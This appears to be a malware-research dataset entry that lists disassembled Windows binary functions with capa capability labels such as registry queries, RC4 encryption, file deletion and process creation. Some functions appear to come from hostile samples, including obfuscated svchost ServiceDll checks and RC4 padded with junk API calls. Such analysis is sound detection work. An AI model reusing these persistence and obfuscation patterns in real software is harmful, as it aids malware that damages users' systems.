joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Hkbcih_Rqgir_eqAz_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__JslfTNrpyrjm_bqe
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str.Hkbcih_Rqgir_eqAz_
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x402180
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov eax, dword [0x404310]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.GDI32.dll_SetTextJustification]
push edi
push 0xe3
push 0xe4
push eax
call esi
mov ecx, dword [0x404310]
push 0x2e
push 0x37
push ecx
call esi
mov ecx, dword [section..data]
mov eax, 0x19c2d14f
imul ecx
sar edx, 4
mov edi, dword [esp + 0x14]
mov eax, edx
shr eax, 0x1f
add edx, eax
xor ebx, ebx
mov dword [section..data], edx
xor eax, eax
mov byte [eax + edi], al
inc eax
cmp eax, 0x100
jl 0x4021ce
mov ecx, dword [0x404310]
push 0xd4
push ecx
call dword [sym.imp.USER32.dll_GetClassLongA]
mov ebp, dword [sym.imp.USER32.dll_GetWindowLongA]
mov byte [edi + 0x100], bl
mov edx, dword [0x404318]
push 0xa
push edx
call ebp
mov byte [edi + 0x101], bl
mov dword [section..data], 0x1101
mov dword [0x404004], 0x155d
xor esi, esi
mov eax, esi
mov ecx, dword [esp + 0x18]
cdq
idiv dword [esp + 0x1c]
xor eax, eax
push pe_nt_image_headers32
mov al, byte [edx + ecx]
xor edx, edx
mov dl, byte [esi + edi]
add edx, ebx
lea ebx, [edx + eax]
mov eax, dword [0x404310]
push eax
call ebp
and ebx, 0xff
xor eax, eax
mov al, byte [esi + edi]
mov cl, byte [ebx + edi]
mov byte [esi + edi], cl
mov byte [ebx + edi], al
mov edx, dword [0x404008]
add edx, 0xffffd1a0
inc esi
cmp esi, 0x100
mov dword [section..data], edx
jl 0x40221e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x402280
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x404310]
push ebx
push esi
push edi
push 0xa8
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov esi, dword [esp + 0x10]
mov ecx, dword [0x404014]
xor eax, eax
mov dword [0x404010], 0x3bc
mov al, byte [esi + 0x101]
xor ebx, ebx
mov dword [esp + 0x10], eax
mov eax, 0x51eb851f
imul ecx
mov bl, byte [esi + 0x100]
push 0x24
sar edx, 6
mov ecx, edx
push 0x71
shr ecx, 0x1f
add edx, ecx
mov dword [0x404014], edx
mov edx, dword [0x404310]
push edx
call dword [sym.imp.GDI32.dll_SetTextJustification]
mov eax, dword [esp + 0x18]
xor edi, edi
test eax, eax
jle 0x4023ab
push ebp
mov ebp, dword [esp + 0x18]
mov ecx, dword [0x404008]
mov eax, 0x88888889
imul ecx
add edx, ecx
mov ecx, dword [0x40400c]
sar edx, 3
mov eax, edx
add ecx, 0x173
shr eax, 0x1f
add edx, eax
mov eax, dword [esp + 0x14]
inc ebx
mov dword [0x404008], edx
and ebx, 0xff
xor edx, edx
mov dword [0x404018], ecx
mov ecx, dword [0x404010]
mov dl, byte [ebx + esi]
add ecx, 0xc52
add eax, edx
mov dword [str.ebl], ecx
and eax, 0xff
xor ecx, ecx
mov cl, byte [ebx + esi]
mov dword [esp + 0x14], eax
mov dl, byte [eax + esi]
push 0x11
mov byte [ebx + esi], dl
mov byte [eax + esi], cl
mov eax, dword [0x404328]
mov dword [esp + 0x1c], ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov cl, byte [ebx + esi]
mov eax, dword [esp + 0x18]
add ecx, eax
push 0x6c
and ecx, 0xff
mov dl, byte [ecx + esi]
mov cl, byte [edi + ebp]
xor cl, dl
mov byte [edi + ebp], cl
mov eax, dword [0x404310]
push eax
call dword [sym.imp.USER32.dll_GetClassWord]
mov eax, dword [esp + 0x1c]
inc edi
cmp edi, eax
jl 0x4022f7
pop ebp
mov cl, byte [esp + 0x10]
push 0xbd
mov byte [esi + 0x101], cl
mov edx, dword [0x404328]
push 0x1b
push edx
call dword [sym.imp.GDI32.dll_SetTextJustification]
mov byte [esi + 0x100], bl
mov eax, dword [0x404008]
cdq
mov ecx, 0x12e2
pop edi
idiv ecx
pop esi
pop ebx
mov dword [0x404018], edx
ret
Function at 0x401523
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x128]
push ebx
sub esp, 0x14c
mov edi, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov esi, dword [ebp + 0xc]
and edi, 0x300
mov dword [esp], ebx
mov eax, edi
mov dword [esp + 4], esi
or eax, 9
mov dword [esp + 8], eax
call fcn.00407e0b
sub esp, 0x10
test eax, eax
jne 0x40169b
test byte [ebp + 0x10], 2
je 0x4015cd
lea eax, [ebp - 0x124]
mov dword [esp + 0x1c], 0
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x11d]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x124], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
sub esp, 0x20
cmp eax, 0x103
jne 0x40163a
mov eax, dword [ebp + 0x10]
and eax, 1
mov dword [ebp - 0x12c], eax
jmp 0x4015f5
mov ecx, dword [ebp + 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [esp + 8], ecx
call fcn.00401523
sub esp, 0xc
test eax, eax
jne 0x401651
mov eax, dword [ebp - 0x128]
lea edx, [ebp - 0x11d]
mov dword [esp + 0xc], 0x105
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea edx, [ebp - 0x11d]
sub esp, 0x10
test eax, eax
jne 0x401651
cmp dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0x128]
je 0x4015db
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
push ecx
jmp 0x40169b
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
mov dword [esp], 3
call fcn.00408bf9
push edx
test eax, eax
jne 0x401683
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push edx
push edx
jmp 0x40169b
mov dword [esp + 0xc], 0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call eax
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
Function at 0x403bbd
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x428560]
cmp dword [ebp + 8], 0
je 0x403be8
test eax, eax
je 0x403bdc
mov dword [esp], eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push ecx
mov dword [0x428560], 0
jmp 0x403c52
test eax, eax
je 0x403bfb
mov dword [esp], 0
call fcn.00408c6b
push edx
jmp 0x403c52
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [0x414500]
jbe 0x403c52
mov eax, dword [0x432168]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x403b08
mov dword [esp + 8], 0
mov dword [esp + 4], 0x6f
mov dword [esp], eax
call dword [sym.imp.USER32.dll_CreateDialogParamA]
sub esp, 0x14
mov dword [0x428560], eax
mov dword [esp + 4], 5
mov dword [esp], eax
call dword [sym.imp.USER32.dll_ShowWindow]
push eax
push eax
leave
ret
Function at 0x407714
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x38]
lea edi, [ebp - 0x2c]
push ebx
sub esp, 0x3c
mov esi, dword [ebp + 8]
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 0x40001
mov dword [ebp - 0x28], 0x40b610
mov dword [ebp - 0x24], 0x40b610
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0x40b600
mov dword [ebp - 0x38], 0xc
mov dword [ebp - 0x30], 0
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edx
push edx
test eax, eax
je 0x407771
xor eax, eax
jmp 0x40779e
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0xb7
jne 0x40779e
mov dword [esp + 8], edi
mov dword [esp + 4], 0x80000007
mov dword [esp], esi
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
sub esp, 0xc
test eax, eax
jne 0x40776d
call ebx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4

Function at 0x4077d6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [0x436bc0], 0x44
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], 0x436bc0
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x4000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, eax
sub esp, 0x28
xor eax, eax
test edx, edx
je 0x407854
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov eax, dword [ebp - 0x18]
leave
ret 4

Function at 0x407858
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x3c
mov dword [eax + 0x24], 0
pop ebp
jmp dword [sym.imp.SHELL32.dll_ShellExecuteExA]

Function at 0x407ab5
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, eax
inc eax
push edx
je 0x407ae3
mov eax, ebx
mov dword [esp], esi
and eax, 0xfffffffe
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push eax
push eax
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 4

Function at 0x407aee
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [esp], ebx
call fcn.00407ab5
push ecx
cmp eax, 0xffffffff
jne 0x407b0f
xor edi, edi
jmp 0x407b4c
mov dword [esp], ebx
mov esi, eax
test edi, 1
je 0x407b44
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edx
test eax, eax
jne 0x407b3d
and edi, 4
jne 0x407b0b
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push eax
push eax
jmp 0x407b4c
mov edi, 1
jmp 0x407b4c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x407b22
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x407b58
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edx
cmp eax, 0xffffffff
jne 0x407b73
xor eax, eax
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], ebx
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, dword [ebp - 4]
sub esp, 0x1c
leave
ret 0xc

Function at 0x407bb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, 0x65
push ebx
sub esp, 0x20
mov ebx, dword [ebp + 8]
dec esi
je 0x407c04
mov dword [ebp - 0xc], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x1a
xor edx, edx
mov dword [esp + 0xc], ebx
div ecx
mov dword [esp + 8], 0
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
add byte [ebp - 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
sub esp, 0x10
test eax, eax
je 0x407bc0
jmp 0x407c09
mov byte [ebx], 0
xor ebx, ebx
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 8

Function at 0x407c14
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0xc]
sub esp, 0x34
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], 0
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
je 0x407c53
xor eax, eax
cmp dword [ebp - 0xc], ebx
sete al
mov ebx, dword [ebp - 4]
leave
ret 0xc

Function at 0x407c5a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0xc]
sub esp, 0x34
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], 0
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
je 0x407c99
xor eax, eax
cmp dword [ebp - 0xc], ebx
sete al
mov ebx, dword [ebp - 4]
leave
ret 0xc
Function at 0x407ecf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov eax, dword [ebp + 0x18]
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x10], 0x400
test eax, eax
je 0x407eed
mov eax, 0x100
or eax, 0x20019
lea edx, [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00407e0b
sub esp, 0x10
test eax, eax
je 0x407f1b
mov byte [ebx], 0
jmp 0x407f6e
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
mov eax, dword [ebp - 0x14]
sub esp, 0x18
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
mov byte [ebx + 0x3ff], 0
test esi, esi
jne 0x407f16
mov eax, dword [ebp - 0xc]
dec eax
cmp eax, 1
ja 0x407f16
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 0x14
Function at 0x408557
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov esi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x435fc0], 0x4c554e
test esi, esi
jne 0x4085a6
mov eax, dword [ebp + 8]
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x435bc0
mov dword [esp], eax
call ebx
sub esp, 0xc
test eax, eax
je 0x40879a
cmp eax, 0x400
jle 0x4085f7
jmp 0x40879a
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], esi
call fcn.00407b58
sub esp, 0xc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x435fc0
mov dword [esp], esi
call ebx
sub esp, 0xc
test eax, eax
je 0x40879a
cmp eax, 0x400
jle 0x408577
jmp 0x40879a
mov dword [esp + 0xc], 0x435bc0
mov dword [esp + 8], 0x435fc0
mov dword [esp + 4], str._s_s_r_n
mov dword [esp], 0x4357c0
call dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x414510]
mov eax, dword [eax + 0x128]
mov dword [esp], 0x435bc0
mov dword [esp + 4], eax
call fcn.00408259
push edi
push edi
mov dword [esp + 8], 4
mov dword [esp + 4], 0xc0000000
mov dword [esp], 0x435bc0
call fcn.00407b58
sub esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
je 0x40879a
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov eax, dword [ebp - 0x1c]
push ecx
push ecx
add eax, ebx
mov dword [ebp - 0x24], eax
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
push esi
mov esi, eax
test eax, eax
je 0x408790
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00407c14
sub esp, 0xc
test eax, eax
je 0x408790
mov dword [esp + 4], str._Rename__r_n
mov dword [esp], esi
call fcn.00407a2d
push edx
push edx
lea edx, [esi + ebx]
test eax, eax
jne 0x4086f1
mov dword [esp + 4], str._Rename__r_n
add ebx, 0xa
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, ebx
push eax
push eax
jmp 0x408730
add eax, 0xa
mov dword [esp + 4], 0x40b45e
mov dword [esp], eax
mov dword [ebp - 0x28], edx
call fcn.00407a2d
mov dword [ebp - 0x20], eax
push ecx
push ecx
mov ecx, ebx
test eax, eax
je 0x408730
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
add ecx, esi
cmp edx, dword [ebp - 0x20]
jbe 0x408728
mov al, byte [edx]
dec edx
dec ecx
mov byte [ecx + 1], al
jmp 0x40871a
mov eax, dword [ebp - 0x20]
sub eax, esi
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x1c]
add ecx, esi
mov dword [esp + 4], 0x4357c0
mov dword [esp], ecx
mov dword [esp + 8], eax
call fcn.00407a98
add ebx, dword [ebp - 0x1c]
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub esp, 0x10
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.00407c5a
sub esp, 0xc
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push edx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40881f
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp], 0x4363c0
mov dword [esp + 4], eax
call fcn.0040805f
push ebx
push ebx
mov dword [esp], 0x4363c0
call fcn.004079a5
push edx
test eax, eax
jne 0x408850
xor eax, eax
jmp 0x4088cc
mov dword [esp], eax
mov ebx, eax
call fcn.00408190
push ecx
test byte [0x41450c], 0x80
je 0x408887
mov al, byte [ebx]
test al, al
je 0x40884c
cmp al, 0x5c
jne 0x408887
jmp 0x40884c
call fcn.004087e7
push edx
test eax, eax
jne 0x4088aa
mov dword [esp], 0x4363c0
call fcn.0040793f
push eax
mov dword [esp], 0x4363c0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, ebx
push ecx
sub edx, 0x4363c0
mov dword [esp], 0x4363c0
cmp edx, eax
jl 0x408870
jmp 0x4088b1
test byte [eax], 0x10
jne 0x40887a
jmp 0x40884c
call fcn.00408093
push eax
mov dword [esp], 0x4363c0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
inc eax
push edx
setne al
movzx eax, al
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x408b6e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x126]
sub esp, 0x134
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push edx
push edx
lea edx, [eax - 1]
cmp edx, 0x103
ja 0x408bab
xor edx, edx
cmp byte [ebp + eax - 0x127], 0x5c
sete dl
jmp 0x408bb2
xor eax, eax
mov edx, 1
mov ecx, dword [ebp + 8]
add edx, 0x40b440
add eax, ebx
mov dword [esp + 4], str._s_s.dll
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov dword [esp], ebx
mov dword [esp + 8], 8
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov ebx, dword [ebp - 4]
sub esp, 0xc
leave
ret 4

Function at 0x408d0c
Capabilities:
Hash data with crc32

Disassembly:
push ebp
cmp dword [0x436c24], 0
mov ebp, esp
push esi
mov edx, dword [ebp + 0xc]
push ebx
jne 0x408d49
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
shr esi, 1
and eax, 1
je 0x408d34
mov eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x408d26
mov dword [ecx*4 + 0x436c20], eax
inc ecx
cmp ecx, 0x100
jne 0x408d1f
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
cmp edx, ebx
je 0x408d6b
mov cl, byte [edx]
inc edx
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x436c20]
jmp 0x408d53
pop ebx
not eax
pop esi
pop ebp
ret 0xc